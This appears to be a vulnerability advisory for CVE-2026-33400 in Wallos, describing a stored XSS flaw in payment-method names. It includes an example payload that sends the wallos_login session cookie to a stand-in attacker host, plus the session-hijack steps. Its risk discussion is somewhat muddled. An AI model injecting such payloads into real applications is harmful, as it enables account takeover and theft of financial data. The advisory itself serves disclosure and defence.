Wallos CVE-2026-33400

The CVSS 3.1 score of 5.4 (Medium) reflects a network-accessible vulnerability requiring low attack complexity and low privileges (authenticated user), with limited scope and impact (Confidentiality and Integrity, no Availability impact). However, this score understates the actual risk: the vulnerability requires user interaction (UI:R), which increases complexity. The lack of published EPSS score and KEV status in the provided intelligence limits real-world exploitation probability assessment, but the presence of a patched version (4.7.0) and public GitHub security advisory suggests responsible disclosure occurred. The combination of stored XSS with session cookie mismanagement creates a high-confidence exploitation path for any authenticated attacker, making this a priority for any Wallos instance handling sensitive subscription or financial data. This is a legitimate medium-to-high-risk issue despite the moderate CVSS score, as XSS + cookie theft = full account takeover.

An authenticated attacker with low privileges creates or renames a payment method with a malicious payload such as <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. When an administrator or any other user visits the Settings, Subscriptions, or Statistics page to review subscription data, the injected script executes in their browser, silently exfiltrating their wallos_login session cookie to the attacker's server. The attacker then replays the stolen cookie to hijack the administrator's session and gain full account access, including the ability to modify subscriptions, rename payment methods further, or gather sensitive financial information.